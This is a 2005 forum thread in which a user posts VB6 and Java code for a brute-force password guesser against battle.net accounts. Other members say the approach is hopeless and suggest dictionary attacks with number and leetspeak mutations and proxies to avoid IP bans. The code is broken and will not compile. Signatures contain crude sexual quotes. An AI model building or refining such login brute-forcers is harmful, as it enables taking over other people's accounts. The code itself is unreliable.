News:

Wieners, Brats, Franks, we've got 'em all.

Main Menu

[VB6] Bruteforce Method

Started by Joe, August 24, 2005, 12:09:04 AM

Previous topic - Next topic

0 Members and 2 Guests are viewing this topic.

Joe

I couldn't find any on the internet, so I had to write my own. The story, a friend of mine somehow got his items jacked, and I'm getting them back (d2, I mean). This is meant for a battle.net password (hence length = 12), but you can go ahead and make it whatever length you want. I wrote this in VB, because I'd have an easier time debugging it, but I'm porting it to java, so stay tuned.

Public Function BruteForce(L As Long) As String
    Const Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890" 'Len(Alphabet) = 62
    Dim LeftOver As Long, I As Byte, Ret(1 To 12) As String, Position As Byte
    LeftOver = L
    I = 0
    While LeftOver > 0
        Let Position = (LeftOver Mod 62) + 1
        Ret(12 - I) = Mid(Alphabet, Position, 1)
        LeftOver = LeftOver - Position
        I = I + 1
    Wend
    BruteForce = Join(Ret, "")
End Function


EDIT -
Usage:
Bruteforce(1) = 'A'
Bruteforce(2) = 'B'
..
Bruteforce(26) = 'Z'
Bruteforce(27) = 'a'
..
Bruteforce(63) = 'AA'

and so forth.
Quote from: Camel on June 09, 2009, 04:12:23 PMI'd personally do as Joe suggests

Quote from: AntiVirus on October 19, 2010, 02:36:52 PM
You might be right about that, Joe.


Sidoh

I think you'd have more luck reading out of a dicitonary file.

Ergot

Psst... Password = "‰š§•¤»,,?±†ÆÂ¶" ;/
Quote from: Newby on February 26, 2006, 12:16:58 AM
Who gives a damn? I fuck sheep all the time.
Quote from: rabbit on December 11, 2005, 01:05:35 PM
And yes, male both ends.  There are a couple lesbians that need a two-ended dildo...My router just refuses to wear a strap-on.
(05:55:03) JoE ThE oDD: omfg good job i got a boner thinkin bout them chinese bitches
(17:54:15) Sidoh: I love cosmetology

Joe

Quote from: Camel on June 09, 2009, 04:12:23 PMI'd personally do as Joe suggests

Quote from: AntiVirus on October 19, 2010, 02:36:52 PM
You might be right about that, Joe.


Newby

Quote from: Sidoh on August 24, 2005, 12:32:12 AM
I think you'd have more luck reading out of a dicitonary file.

Yes, yes he would.
- Newby
http://www.x86labs.org

Quote[17:32:45] * xar sets mode: -oooooooooo algorithm ban chris cipher newby stdio TehUser tnarongi|away vursed warz
[17:32:54] * xar sets mode: +o newby
[17:32:58] <xar> new rule
[17:33:02] <xar> me and newby rule all

Quote from: Rule on June 30, 2008, 01:13:20 PM
Quote from: CrAz3D on June 30, 2008, 10:38:22 AM
I'd bet that you're currently bloated like a water ballon on a hot summer's day.

That analogy doesn't even make sense.  Why would a water balloon be especially bloated on a hot summer's day? For your sake, I hope there wasn't too much logic testing on your LSAT. 

Joe

Theres what I've gotten so far. I corrected about 20 errors, compiled again. It spit out 20 new errors. I fixed them all, compiled again, and it spit out another 20 errors. *sigh*

/*
  Basic Battle.net Bruteforcer
  Written by Joe[x86]
*/


// Imports
import java.io.*;                // Used for getting text from the console
import java.net.Socket;          // Used to connect to battle.net
import java.io.InputStream;      // Used to recieve data from battle.net
import java.io.DataOutputStream; // Used to send data to battle.net
import java.io.IOException;      // Used to catch errors. Bah.


public class main {
public static void main(String args[]) {
System.out.println("Battle.net bruteforcer by Joe[x86] loaded.");
String server = getServer();
String username = getUsername();
int curpass = 0; boolean found = false;
while(!found) {
System.out.println("Attempting to log on to battle.net using password " + makepass(curpass) + ".");
if(bruteforce(server, username, makepass(curpass))) {
System.out.println("Password: " + makepass(curpass) + ".");
found = true;
} else {
System.out.println("Invalid password.");
curpass++;
}
}
}


public static String getServer() {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
System.out.print("Server: ");
    try{ return br.readLine(); }catch(IOException e){ }
}


public static String getUsername() {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
System.out.print("Username: ");
try{ return br.readLine(); }catch(IOException e){ }
}


public static String makepass(int l) {
String alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"; //Alphabet.length() = 62
    int leftover; int I; char ret[] = new char[12]; int position;
    leftover = l;
    I = 0;
    while(leftover > 0) {
        position = (leftover % 62) + 1;
        ret[12 - I] = alphabet.charAt(position);
        leftover = leftover - position;
        I++;
    }
    return ret.toString();
  }


public static boolean bruteforce(String server, String username, String password) {
boolean ret = false;
System.out.println("[BNET] Connected to " + server + ":6112");
try{ Socket sckBnet = new Socket(server, 6112); } catch(IOException e) { }
System.out.println("[BNET] Connected to " + server + ":6112");
try{ DataOutputStream output = new DataOutputStream(sckBnet.getOutputStream()); } catch(IOException e) { }
    try{ InputStream input = sckBnet.getInputStream(); } catch(IOException e) { }
System.out.println("[BNET] Created input and output streams on sckBnet.");
System.out.println("[BNET] Attempting to log in..");

    try {
    output.writeBytes("c");
      output.writeBytes(username);
      output.writeBytes("\n\t");
      output.writeBytes(password);
      output.writeBytes("\n\t");
      output.flush();
    } catch(IOException e) { }
   
    try{ input.read(); input.skip(input.available()); input.read(); input.skip(input.available()); } catch(IOException e) { }
    try{ byte status = input.read(); } catch(IOException e) { }
    switch(status) {
    case 0x32: ret = true; break;   // "2"
    case 0x4C: ret = false; break;  // "L"
    }
    try {
    output.close();
      input.close();
      sckBnet.close();
    } catch(IOException e) { }
    return ret;
}
}
Quote from: Camel on June 09, 2009, 04:12:23 PMI'd personally do as Joe suggests

Quote from: AntiVirus on October 19, 2010, 02:36:52 PM
You might be right about that, Joe.


iago

Do you realize how long that would take?  Your alphabet is 62 characters, and your string length is 12.  1262 =~ 8.11x1066.  That's an 8 with 66 0's after it.  Let's say it takes 1/1,000,000,000,000 of a second (1/trillianth of a second, clearly unrealistically fast) to check a single value.  To check 8x1066 values, that would take:
8x1054 seconds
2x1047 years

That's right, it would take about 250,000,000,000,000,000,000,000,000,000,000,000,000,000,000 years to guess every combination.  I don't think your friend should bother waiting that long to get his items back, since the universe probably won't be alive that long. 

As was said, you'd have more luck with a dictionary file.  I have a 125-mb dictionary that has every word in every language.  If you take those, append/prepend numbers, replace i and o and e with 1 and 0 and 3 in every combination, you'll have a pretty complete set.  It would still probably takes months to go through all that, but at least the Universe will still be around. :)

Berzerker

Quote from: iago on August 24, 2005, 08:58:05 AM
Do you realize how long that would take?  Your alphabet is 62 characters, and your string length is 12.  1262 =~ 8.11x1066.  That's an 8 with 66 0's after it.  Let's say it takes 1/1,000,000,000,000 of a second (1/trillianth of a second, clearly unrealistically fast) to check a single value.  To check 8x1066 values, that would take:
8x1054 seconds
2x1047 years

That's right, it would take about 250,000,000,000,000,000,000,000,000,000,000,000,000,000,000 years to guess every combination.  I don't think your friend should bother waiting that long to get his items back, since the universe probably won't be alive that long. 

As was said, you'd have more luck with a dictionary file.  I have a 125-mb dictionary that has every word in every language.  If you take those, append/prepend numbers, replace i and o and e with 1 and 0 and 3 in every combination, you'll have a pretty complete set.  It would still probably takes months to go through all that, but at least the Universe will still be around. :)

Jesus, and I thought downloading on 56k was slow...



MyndFyre

<3 iago for injecting some reality.

Joe, your method might crack my password (which is text-only but I guarantee not in any dictionary), but you'd need.... oh, something over 16 billion tries before you got it (I'm not telling you the actual number).  If you used specifically your method (not taking out the numbers), it'd take 39 billion tries.  And that's on a rather short and simple password!

Assuming you didn't have slow-ass dialup, at a reasonable DSL connection speed to Bnet of 1 second to connect and disconnect, it would take you 1249 years (with your method; taking out the numbers cuts it to a much more manageable 518 years).

GLhf.
Quote from: Joe on January 23, 2011, 11:47:54 PM
I have a programming folder, and I have nothing of value there

Running with Code has a new home!

Quote from: Rule on May 26, 2009, 02:02:12 PMOur species really annoys me.

Quik

Quote from: MyndFyrex86] link=topic=2444.msg23032#msg23032 date=1124896714]
<3 iago for injecting some reality.

Joe, your method might crack my password (which is text-only but I guarantee not in any dictionary), but you'd need.... oh, something over 16 billion tries before you got it (I'm not telling you the actual number).  If you used specifically your method (not taking out the numbers), it'd take 39 billion tries.  And that's on a rather short and simple password!

Assuming you didn't have slow-ass dialup, at a reasonable DSL connection speed to Bnet of 1 second to connect and disconnect, it would take you 1249 years (with your method; taking out the numbers cuts it to a much more manageable 518 years).

GLhf.

And an aweful lot of proxies, because DSL would get IP-Banned. However, I believe iago developed some plugin for interfacing with dictionary.com, a definition plugin? That could be used for bruteforcing, of course it wouldn't be much better than this. There are programs that already do it much better ;).
Quote[20:21:13] xar: i was just thinking about the time iago came over here and we made this huge bomb and light up the sky for 6 min
[20:21:15] xar: that was funny

iago

Mine can look up words once you know them, which doesn't help much

Quik

Still, the opportunity is there, however it doesn't make sense to accomplish that way.
Quote[20:21:13] xar: i was just thinking about the time iago came over here and we made this huge bomb and light up the sky for 6 min
[20:21:15] xar: that was funny

iago

How, exactly? You'd have to try every combination, then use my plugin to find out if it is an actual word.  So it wouldn't speed it up any, even possibly, because we're still checking every combination. 

Quik

By editing your plugin, and using the ability to interface with dictionary.com or a similar online script.
Quote[20:21:13] xar: i was just thinking about the time iago came over here and we made this huge bomb and light up the sky for 6 min
[20:21:15] xar: that was funny

Newby

OR just using a dictionary list. :P
- Newby
http://www.x86labs.org

Quote[17:32:45] * xar sets mode: -oooooooooo algorithm ban chris cipher newby stdio TehUser tnarongi|away vursed warz
[17:32:54] * xar sets mode: +o newby
[17:32:58] <xar> new rule
[17:33:02] <xar> me and newby rule all

Quote from: Rule on June 30, 2008, 01:13:20 PM
Quote from: CrAz3D on June 30, 2008, 10:38:22 AM
I'd bet that you're currently bloated like a water ballon on a hot summer's day.

That analogy doesn't even make sense.  Why would a water balloon be especially bloated on a hot summer's day? For your sake, I hope there wasn't too much logic testing on your LSAT.